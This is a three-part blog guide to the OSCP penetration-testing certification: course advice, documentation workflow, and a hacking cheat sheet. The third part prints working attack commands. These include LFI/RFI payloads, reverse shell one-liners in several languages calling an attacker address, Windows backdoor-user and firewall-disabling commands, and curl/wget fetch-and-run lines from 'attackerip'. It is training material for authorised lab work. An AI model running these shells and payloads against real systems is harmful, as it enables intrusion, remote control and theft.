Hakluke’s Ultimate OSCP Guide: Part 1 — Is OSCP for you? Some things you should know before you start

Luke Stephens (@hakluke)

Feb 15, 2018 · 5 min read

If you’ve landed here, you’re probably thinking about taking the Offensive Security PWK course to become an OSCP, but you’re not sure if you’re quite ready to take the plunge. Well! You’ve found the right place, my soon-to-be hacker comrade. This is a list of questions that I get asked regularly from people thinking of signing up to the OSCP. I am not being paid to promote this course, just my opinion.

This document is a work in progress! If you have any ideas or questions you would like answered, get in touch!

Would you recommend it?

Yes. If you're hoping to work in the infosec field, or even if you're just interested, the course and the labs are fun and super educational. While having this certification is not as valuable as having experience in the field, it looks great on your CV, and shows that you have at least a basic understanding of common hacking tools and techniques.

How much time do I need?

The #1 misery-generator while sitting your OSCP is not having enough time. Make sure you have at least a few hours every day to focus on learning without distraction. Not only will you have a better chance of passing first go, you will also learn the content more deeply. The more you put into this course, the more you will get out of it.

How much lab time should I purchase?

A rule of thumb for choosing how much lab time you need:

- If you already a seasoned penetration tester, and you are just getting your OSCP to lengthen your CV and brag to your mum, go with 30 days. Unless you are a super master hacker who doesn't sleep, this probably won't be enough time to own everything in the labs, but you don't need to — you only need to pass the exam.

- If you have a fairly solid foundation in hacking and you have success with other hacking challenges such as hackthebox.eu or vulnhub, go with 60 days.
- If you aren't all that experienced with hacking, or you want to scrape every last drop of information out of the course, go with 90 days.

If it makes you feel any better, your decision is not final — you can always purchase a lab extention after the inital purchase. Also — if you fail your exam, you can resit it for $60 USD.

How is the PWK / OSCP structured?

Basically, the course is split into 3 sections:

1. Coursework

When your lab time starts, you are also sent a PDF textbook, and a series of tutorial videos to match. These materials teach a tonne of common hacking methods, and contain some tricks that you will be able to try in the labs. At the end of each section are some hands-on exercises to try out. If you document these exercises (with the exception of a few, as noted in the manual), and also provide a detailed report of how you owned 10 machines in the labs, you will receive an extra 5 points on your final exam — this can come in handy! It took me roughly 2 weeks to complete the coursework. While it is not compulsory, I chose to document all of the lab exercises in an effort to gain an extra 5 points in the exam. It was also a good way to hone my documentation skills.

2. The Labs

When your lab access starts, you will be granted access to the Offensive Security PWK labs. They consist of a few subnets, and many vulnerable machines. It's your job to own them. Go nuts, try things, experiment and learn.

3. The Exam

I'm not sure how much information I'm allowed to give here so I'm going to keep it fairly vague. The exam lasts 23 hours and 45 minutes. During this time you will connect to the exam network where you are provided with a series of vulnerable boxes, similar to the labs, only smaller. It is your job to break into these boxes and document your process.

Once you've completed your exam, you follow the submission guidelines *very carefully* and wait for the (hopefully) good news!

What's the difference between PWK and OSCP?

PWK stands for "Penetration Testing With Kali Linux", it is the name of the course you take in order to become an OSCP (Offensive Security Certified Professional).

How do the hackthebox/vulnhub boxes compare to the OSCP labs?

In my experience, challenge sites tend to have a lot of CTF style boxes which are self contained. The vulnerabilities in these boxes could be something you are highly unlikely to find in a real-world pentest, such as a

file hidden inside an image, or plaintext passwords in HTML comments. OSCP labs are (mostly) focused more on real world applications. The labs even include client-side exploits, lateral movement and pivoting.

My thoughts about the “try harder” mentality

During your time in the labs, you will hear the offsec training slogan “try harder” being thrown around a lot. I get it. Good hackers have an unwavering thirst for knowledge. When you think a box is unbreakable, you need to enumerate again — harder, learn more, explore new avenues and not give up. I assume this is what the offsec staff mean by “try harder”. The problem is, students can often misinterpret the message. Do not take the message to mean “don’t take breaks”, “don’t go outside”, “don’t learn from others”, “don’t ask for help” or “belittle others”. Different people learn in different ways, and I happen to learn well socially. Chatting with other students was one of my most valuable learning resources, but you have to talk in the right way. Spoilers will not help you learn, topics will, which brings us to our next point.

How to ask good questions

“Ask topics, not boxes.” That pretty much sums it up. Let’s say you’re attacking a machine called “foo” which is running SMB. Don’t ask “How did you hack foo?”, instead, ask “What are your favourite techniques for enumerating SMB?”. That way, instead of learning how to hack one machine, you have learned the skills to enumerate any SMB service you come accross in future.

Tips for the exam

- Read every word in this document multiple times: OSCP Exam Guide
- Take regular breaks
- Plan your time before the exam begins
- Document as you go
- Back up your notes regularly to avoid data loss
- If it seems too complicated, it's probably not the right path
- Believe in yourself, it's easy to get overwhelmed

Official Support

- Exam guide: https://support.offensive-security.com/#!oscp-exam-guide.md
- Support info and FAQs: https://support.offensive-security.com/#!pwk-support.md
- Chat live with the offsec staff: https://support.offensive-security.com/chat.php

Hakluke's Ultimate OSCP Guide: Part 2 — Workflow and documentation tips

Luke Stephens (@hakluke)

Feb 16, 2018 · 6 min read

Man walks through door with large shadow. OFFENSIVE security logo dramatically appears in a red abyss.

At the start of my labs, I wasn't really prepared for how much documentation I would be writing. I opted to document ALL of the exercises and 10 lab machines (while this is not compulsory, it earns you an extra 5 points in the exam). On top of that, I also documented the exam boxes. In total, this came to around 280 pages. Within the first couple of weeks, my reporting process changed dramatically, and I wasted a lot of time getting a good workflow happening.

Hopefully, you can make the most of your lab time by learning from my mistakes. Read on, fellow hackers!

Environment

The Virtual Machine

Offsec provides you with a modified Kali Linux virtual machine. I'm not going to run through setting it up here, but I will say this:

The virtual machine provided by Offsec is meant to be run with VMWare, not VirtualBox.

Generally, I'm more of a VirtualBox guy. It's free, and I like Vagrant. Unfortunately, converting a VMWare VM to VirtualBox, and vice versa, is dodgy. If you're using Linux or Windows as your host machine — you're in luck! Download VMWare workstation for free and install away. Unfortunately for Apple users — you will need to buy VMWare Fusion, or convert the Kali PWK VM to VirtualBox and use that. I used VirtualBox for the entire time including the exam. It worked pretty well but I ran into issues copy/pasting between the the host and guest machines. After being converted, the Kali PWK VM also lagged a lot more than the regular Kali in VirtualBox — perhaps that is just an isolated incident though.

To update? Or not to update?

If you've spent much time trawling the #offsec channel on IRC, or any OSCP related chats, you will know that some of the most common problems arise from people updating their Kali VM. Be careful about what you update because it will cause problems with the exercises, running `apt upgrade` will break stuff. One exception to the rule is searchsploit which you can update by doing a `searchsploit -u`.

If you really want to check out the latest upgrades to Kali, I recommend having a seperate Kali VM which is fully updated, not the PWK Kali version.

Sharing Files

Sharing files between your host machine and your Kali PWK VM is important for two reasons. Firstly, you'll find yourself wanting to share your documentation between the two regularly. Secondly, it makes backups easier.

Protip: Create a shared folder between your host and guest machine. Put the shared folder on the host machine inside a folder which syncs to the cloud (such as Dropbox or Google Drive). That way, your files are automatically being backed up to the cloud as you create them.

Another protip: Got some tools or files that you use regularly? Pop them in a private git repo. If you bork your VM, it won't take long to spin up a new one and pull down your custom tools.

Applications that will make your life easier

- Shutter: For taking screenshots. When you take the screenshot, it's automatically added to the clipboard for an easy paste into your docs.
- CherryTree: CherryTree took over when KeepNote stopped being maintained. It's much better for a number of reasons. Ditch KeepNote and use CherryTree instead. CherryTree is also included in the latest Kali, while KeepNote is not.
- Terminator: Mainly for the lovely split-screen terminals.

- Burp: From memory, it’s not covered in much detail in the PWK course. It’s my favourite tool for hacking webapps and it comes pre-installed. There’s plenty of tutorials out there for learning how to use it. Try YouTube.

Documentation

The Workflow

My main machine is a humble 13" Macbook Air from 2015. It’s powerful enough for me, but it’s no super-computer. Once my documentation reached about 80 pages of screenshot heavy material in “Pages” (the apple equivalent of Microsoft Word), my computer became so slow that it was virtually unresponsive. From then on my documentation process changed, I used CherryTree within Kali to create the initial documentation and screenshots without any formatting. When it came time to format it nicely, I would export the entire CherryTree file to HTML, share it with my host machine, copy the text over to Google docs, and add some nice formatting. Voila!

CherryTree Setup

CherryTree allows for hierachical notetaking. I found it useful to set up the notes the same way as the network — with each subnet as a parent node, then machines as subnodes. If you want to go even more hierachical, you could create another layer under this for each stage of the hack. Perhaps “Enumeration”, “Exploitation”, “Privilege Escalation” and “Flags” would work well for you.

I also made a few top level nodes. One was a “cheatsheet” which kept a lot of command syntaxes that were hard to remember, one was

“credentials” which stored credentials I had found throughout the network that I might want to try later, and one was called “flyover”, which contained my full network enumeration scans, DNS enumeration, a log of which boxes I had already owned, and which ones were yet to fall.

What should be included in the documentation?

Basically, we can split the documentation in to three parts:

- The lab exercises (Not compulsory, but will earn an extra 5 points in the exam if you submit these alongside a write-up of 10 lab machines)
- 10 lab machines (Not compulsory, but will earn an extra 5 points in the exam if you submit these alongside the lab exercises write-up)
- The exam machines (Compulsory!)

When you’re documenting the lab exercises, you need to show just enough to document the steps you took to achieve the task. No more, no less. If in doubt, leave it in — because it’s better to have too much documentation than miss an important step!

When documenting machines (both in the labs AND in the exam), you need to include every step taken to exploit the machine including screenshots if necessary. There is no need to include things you tried that didn’t work. You must also include one single screenshot which displays the output of the `proof.txt` file, the output of `ifconfig/ipconfig`, and the output of `whoami`, `id`, or a similar command to demonstrate your current user.

Official Support

If you don't trust me, or if you want more info — the official support for the course documentation requirements can be found here. You can also contact the admins to clarify anything you're not 100% on.

You can also download a sample lab report here, although I didn't use it in the end, it didn't really fit with my reporting style.

RTFM

The most important part of all this is to read the official documentation on how to report, the correct formats, etc. If the report is amazing but you send it in the wrong format, you will automatically receive a fail. Read it and read it again!

If you read these two pages 10 times over, you should be safe:

- Exam requirements (also contains reporting requirements): https://support.offensive-security.com/#!oscp-exam-guide.md
- PWK support page: https://support.offensive-security.com/#!pwk-support.md

Where are the other parts to this guide?

If you haven't already read part 1 of my "Ultimate Guide to OSCP" series, it's here. Part 3 includes my approach to hacking new machines in the labs, a cheatsheet, and some other useful hacking tricks. You can find that here.

Get in touch

Man walks through door with large shadow. OFFENSIVE security logo dramatically appears in a red abyss.

So, you've finally signed up, paid the money, waited for the start date, logged in to the VPN, and are suddenly hit in the face with a plethora of vulnerable boxes and you have no idea where to start.

This part of the guide will show the general process I tend to use when approaching a new target in the OSCP labs. This is by no means a replacement for reading the PWK manual and doing the exercises, it's a brief overview of some major vulnerability types and a few tips. You can always refer back to this post later, using it as a cheat sheet for command syntax.

Nmap

First of all, we need to know what boxes exist on the network nmap run a ping scan:

```
nmap -sn 10.0.0.0/24
```

The above command will test whether all machines in the 10.0.0.0/24 subnet are alive (10.0.0.0–10.0.0.255). You may need to change this for the lab network.

Once I have chosen a host, the first thing I always do is:

```
nmap -A -oA nmap $targetip
```

This will scan the 1024 most common ports, run OS detection, run default nmap scripts, and save the results in a number of formats in the current directory.

Scanning more deeply:

```
nmap -v -p- -sT $targetip
```

This will scan all 65535 ports on $targetip with a full connect scan. This scan will probably take a very long time. The -v stands for verbose, so that when a new port is discovered, it will print it out straight away instead of having to wait until the end of the scan, scanning this many ports over the internet takes a long time. I would often leave the scan running overnight, or move on to a different box in the meantime.

Probing services

From these initial nmap scans, we should have gained a lot of information about machine — we know what ports are open, and usually what services they are running.

HTTP(S)

If the server is running HTTP or HTTPS, the next logical step is to check it out in a web browser. What does it display? Is it a potentially vulnerable

web application? Is it a default web server page which reveals version information?

Probing with Nikto

Nikto is an excellent scanner for web servers.

```
nikto -host $targetip -port $targetport
```

Brute forcing HTTP(s) directories and files with dirsearch

There are many tools for this purpose including dirb, dirbuster and gobuster — all of these have their advantages and should be learned, but my favourite is dirsearch. You can get it from https://github.com/maurosoria/dirsearch. This syntax will get you started, it defines a wordlist file, URL and file extension to look for.

```
./dirsearch.py -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u $targetip -e php
```

But dirsearch can do more! Check the README.

SMB

Nmap scripts

Kali comes with a bunch of really great nmap scripts which can be used to probe SMB further — these scripts can be viewed with the following command.

```
locate *.nse | grep smb
```

Using the scripts is as simple as:

```
nmap -p 139,445 --script=$scriptname $targetip
```

Note that the script parameter also accepts wildcards, for example, to try all of the nmap SMB vulnerability testing scripts, use:

```
nmap -p 139,445 --script=smb-vuln* $targetip
```

Enum4Linux

enum4linux is an excellent tool for probing SMB for interesting information — and sometimes access to shares! This tool has a lot of options to remember, so I generally just run the -a “do everything” option, which looks like this:

```
enum4linux -a $targetip
```

smbclient

This tool is for connecting to a box via SMB. It basically works the same as a command line FTP client. Sometimes you can connect to a box and browse files without even having credentials, so it’s worth a check!

```
smbclient \\\\$ip\\$share
```

FTP

Anonymous Access

There are a number of nmap scripts which can help with enumerating FTP, but the very first thing to check is whether anonymous access is enabled.

```
ftp $targetip
Username: anonymous
Password: anything
```

This has varying degrees of success, most of the time, it won’t work. Sometimes you will be able to read files but not write them, and other times you will be presented with full read and write access.

SSH

Other than a few rare exceptions, SSH is not likely to be vulnerable. Unless it is running a strange version of SSH, or a particularly old version, I wouldn't usually bother exploring this further. Just note that it is there, and if you find credentials somewhere else on the system, try using it on SSH!

Other Services

Manual banner grabbing

You can always connect to a service using netcat and see what information it gives you.

```
nc $targetip $port
```

Finding exploits

Searchsploit will search all the exploits in the exploit-db database. To update your database:

```
searchsploit -u
```

To search for exploits on a particular service, kernel or OS.

```
searchsploit $multiple $search $terms
```

Google

Google is a good source of information, whodathunkit? Try search terms which contain the service name, version and the word 'exploit'. For example,

```
proftpd 1.3.5 exploit
```

Metasploit

Metasploit is a whole other bag which I am not going to go into too much in this article, but if you're looking to search within metasploit, just run `search $searchterm` from msfconsole. Note — there are heavy restrictions on using metasploit in the exam, so don't get too reliant on it. When you do use it, take a look at the actual metasploit module you are using, and make sure you understand how it works. Maybe even try porting it to a standalone exploit!

Webapps — What to look for

Webapps are a common point of entry. They can be vulnerable to many different vulnerabilities, and with practice, you will become better at finding them.

First things first, is this a known webapp, or a custom one? Try searching the name, look at the source code, look for version numbers and login screens. If it is a known webapp — you might find a known vulnerability using searchsploit or google.

Burp Suite

Burp suite is a very handy tool for testing webapps. I would go as far as saying it is my single favourite penetration testing tool. If you're crafting a RCE payload or SQL injection, it's much quicker and easier to send the HTTP request to the repeater in burp and edit the payload there than to try editing it in the browser. It's worth learning the more advanced Burp features too, both for OSCP and for your future in cyber!

SQL Injections

If a developer is incompetent and/or lazy, a text field in a webapp can sometimes end up being passed (unsanitized) into an SQL query. If that is the case, you may be able to use this vulnerability to bypass login forms, dump databases (credentials?), and even write files. A full summary of SQL injection methods would be a whole other post, but for now, you can checkout the OWASP guides and use SQLMap. Important — this tool is NOT allowed to be used in the exam at all, however, you should learn how to use it by experimenting with it in the labs.

One huge time-saver when learning SQLMap is to use the -r switch. You can catch the vulnerable request using a proxy like Burp, save it to a text file, and then use SQLMap to scan it just by running:

```
sqlmap -r file.req
```

It took me an embarrassingly long time to find this feature. Don't be like me. Writing the request details on the command line sucks.

File inclusions

Sometimes, we are able to include a file of our choice in the code of the web application. If we can somehow inject our own code into that file — we have command execution. There are two types of file inclusion vulnerabilities — local file inclusions (LFI) and remote file inclusions (RFI).

RFIs occur when you can include a remote file (perhaps one that is hosted on your local machine). RFIs are typically easier to exploit, because you can simply host some code on your local machine, and point the RFI to that code to execute it.

LFIs occur when you can include a file on the target machine, they can be handy for reading local files (such as /etc/passwd), but if you can somehow inject your own code into the system somewhere, you can often turn an LFI into remote code execution.

Let's say that we have a `page` parameter which is vulnerable to a file inclusion vuln in the following URL:

`http://target.com/?page=home`

If this is a Linux box, we could test for a LFI by navigating to:

`http://target.com/?page=./../../../../../../../../../etc/passwd%00`

If the box is vulnerable, we might see the contents of /etc/passwd on the target printed to the page.

If you were super observant, you may have noticed that I put a %00 on the end of the URL. This is called a null byte, and it's purpose is to terminate the string. This technique does not work on newer versions of PHP, but I found that it worked for many of the LFI/RFI vulnerabilities in the labs. If the underlying vulnerable code looks like this:

```
include($page . '.php');
```

Then without the null byte on the end, we would be requesting /etc/passwd.php, which does not exist. The null byte terminates the string, meaning that our attack is likely to be successful.

Sometimes LFI vulnerabilities are also RFI vulnerabilities — to test if this app is vulnerable to RFIs, we could host our own file at http://hackerip/evil.txt which contains our own code, and then visit this URL:

`http://target.com/?page=http://hackerip/evil.txt%00`

If successful, the code contained in evil.txt will be executed on our target.

Code and Command Injection

On some occasions, you may come across web applications which allow execution of code directly. This comes in many forms, it may be a Wordpress backend (which by default, allows the editing of PHP files), a web based terminal emulator, a PHP/Python/Perl sandbox, or some kind of online tool which runs a system command with user input and displays the output.

There are too many avenues to explore here, but use your imagination. Try to think about how the code may look on the backend, and how you might be able to inject your own commands.

I've got command execution, now what?

If you've found some kind of code execution vulnerability, it's time to upgrade to a shell.

Reverse Shells

A reverse shell is when you make your target machine connect back to your machine and spawn a shell. Popping a shell is the most exciting part of any hack.

NOTE: Most versions of netcat don't have -e built-in

If you're not sure what -e does, it lets you specify a command to pipe through your reverse shell. There's a good reason that it's disabled on most versions of netcat — it's a gaping security hole. Having said that, if you're attacking a linux machine, you can get around this by using the following reverse shell one-liner.

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234
>/tmp/f
```

Which will pipe /bin/sh back to 10.0.0.1 on port 1234, without using the -e switch. This brings us to the next section nicely.

A collection of Linux reverse shell one-liners

These one-liners are all found on pentestmonkey.net. This website also contains a bunch of other useful stuff!

Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

Perl

```
perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyna
me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&
S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Python

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM
);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3
2>&3");'
```

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec
sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Netcat with -e

```
nc -e /bin/sh 10.0.0.1 1234
```

Netcat without -e (my personal favourite)

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234
>/tmp/f
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 |
while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

Windows reverse shells?

Windows is a bit of a different animal because it doesn't come with the same beautiful command line tools that spoil us in Linux. If we have the need for a reverse shell, then our entry-point was most likely some kind of file upload capability or rce, often through a web-application.

Firstly, if you happen to find a windows system with Perl (unlikely), give this a whirl (source):

```
perl -MIO -e '$c=new
IO::Socket::INET(PeerAddr,"$attackerip:4444");STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;'
```

Otherwise, we have a couple of options:

- Attempt to download nc.exe, and then run something along the lines of "nc.exe -e cmd.exe attackerip 1234".
- If we are dealing with an IIS server, create our own .asp or .aspx reverse shell payload with msfvenom, and then execute it.
- Powershell injection

Here's some other useful commands on windows. If the machine you're facing has RDP enabled (port 3389), you can often create your own user

and add it to the “Remote Desktop Users” group, then just log in via remote desktop.

Add a user on windows:

```
net user $username $password /add
```

Add a user to the “Remote Desktop Users” group:

```
net localgroup "Remote Desktop Users" $username /add
```

Make a user an administrator:

```
net localgroup administrators $username /add
```

Disable Windows firewall on newer versions:

```
NetSh Advfirewall set allprofiles state off
```

Disable windows firewall on older windows:

```
netsh firewall set opmode disable
```

Generating payloads with msfvenom

If you’re not already familiar with msfvenom, it’s an absolute must for OSCP. Msfvenom is part of the Metasploit Framework, and is used to generate payloads which do all kinds of evil things, from generating reverse shells to generating message boxes for a pretty PoC.

I don’t want to cover msfvenom in detail here, because you can find it easily in other places, like the offsec website.

File transfer methods — Linux

Once you’ve got command execution, there’s a good chance you will want to transfer files to the victim box.

First things first — you need to find a directory you can write to. The first places to look are `/tmp` or `/dev/shm` but if that doesn't work for you, this command should find writeable directories:

```
find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;
```

HTTP(S)

Now that we have found somewhere to transfer to, it's time to transfer the files! The quickest, easiest way to transfer files to a Linux victim is to setup a HTTP server on your Kali box. If you like being inefficient, set up Apache. If you would rather keep things easy, navigate to the directory containing the file(s) you wish to transfer and run:

```
root@kali# python -m SimpleHTTPServer 80
```

Pulling in the files on any victim Linux machine should be as easy as

```
wget http://attackerip/file
```

Or

```
curl http://attackerip/file > file
```

Netcat

If HTTP file transfers are not an option, consider using netcat. First set up your victim to listen for the incoming request and pipe the output to a file (it's best to use a high port number, as using port numbers < 1024 is often not allowed unless you're root):

```
nc -nvlp 55555 > file
```

Now back on your Kali machine, send the file!

```
nc $victimip 55555 < file
```

File Transfer Methods — Windows

If you're attacking windows, transferring files can be a little more tricky. My favourite method (which I learned from the OSCP manual!) is to create your own Windows wget by writing a VBS script. First you can create the file line by line by running these commands:

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >>
wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http =
CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =
CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http =
CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))
>> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

Then, using your script looks something like this:

```
cscript wget.vbs http://attackerip/evil.exe evil.exe
```

If you're attacking a windows box and this method isn't going to work for you, consider trying TFTP or SMB as alternate file transfer methods. If you're lucky, there may also be a file upload method in a web application.

Upgrading Reverse Shells to be Fully Interactive

Popping a reverse shell is exciting, but it's not quite the same as a fully interactive shell. You won't have tab completion, you can't run any interactive programs (including sudo), and if you press Ctrl+C, you will exit back to your local box, which sucks. So! Here's how to upgrade your Linux reverse shell.

```
python -c "import pty; pty.spawn('/bin/bash')"
```

You should get a nicer looking prompt, but your job isn't over yet. Press Ctrl+Z to background your reverse shell, then in your local machine run:

```
stty raw -echo
fg
```

Things are going to look really messed up at this point, but don't worry. Just type `reset` and hit return. You should be presented with a fully interactive shell. You're welcome.

There's still one little niggling thing that can happen, the shell might not be the correct height/width for your terminal. To fix this, go to your local machine and run:

```
stty size
```

This should return two numbers, which are the number of rows and columns in your terminal. For example's sake let's say this command returned `48 120` Head on back to your victim box's shell and run the following.

```
stty -rows 48 -columns 120
```

You now have a beautiful interactive shell to brag about. Time to privesc!

Privilege Escalation — Linux

I'm not going to go into too much detail here because this post is getting too long already, and there's a lot to talk about! I will show you a few things that I try first though, and then I'll refer you over to g0tmi1k's post, which will fill in the gaps.

Sudo misconfiguration

First things first, if you have found any passwords on the system, try using them to become root by running:

```
sudo su
```

If not try running:

```
sudo -l
```

Sometimes, sudo will allow you to run some commands as root, or become a different user. If the box is configured this way in the OSCP labs, there's a good chance that this will be your path to root.

Kernel Exploits

The second thing I try is:

```
uname -ar
cat /etc/issue
cat /etc/*-release
```

```
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based
```

These commands will tell you which kernel and distribution you are looking at. If you're lucky, Googling the kernel version and/or the distribution version may reveal known privilege escalation exploits to try.

Linenum

If you're into automation and efficiency, checkout LinEnum.sh. It's a great bash script that enumerates a lot of common misconfigurations in Linux systems. You can get it here: https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

For next-level enumeration efficiency, host linenum.sh on a webserver on your Kali box, then on the victim, just run:

```
curl http://attackerip/LinEnum.sh | /bin/bash
```

G0tmi1k?

Lastly, let's pay homage to the most referenced Linux privilege escalation article of all time by g0tmi1k: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Privilege Escalation - Windows

The first thing I try is searching for a known exploit for the version of windows you are facing. To find out which version of Windows you are facing, try this:

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

If that doesn't work, you have to do it the hard way. This is a pretty thorough article that has helped me out more than once: http://www.fuzzysecurity.com/tutorials/16.html

Where Are The Other Parts of This Guide?

If you're not finished reading just yet the other parts of this guide are below:

Luke's Ultimate OSCP Guide: Part 1 — Is OSCP for you? Some things you should know before you start

Luke's Ultimate OSCP Guide: Part 2 — Workflow and documentation tips

The End?

The goal of this post is to provide some tips that helped me in my OSCP journey. If you think something is missing, have any questions, or just want to chat — get in touch! The easiest place to find me is on twitter, or right here on Medium.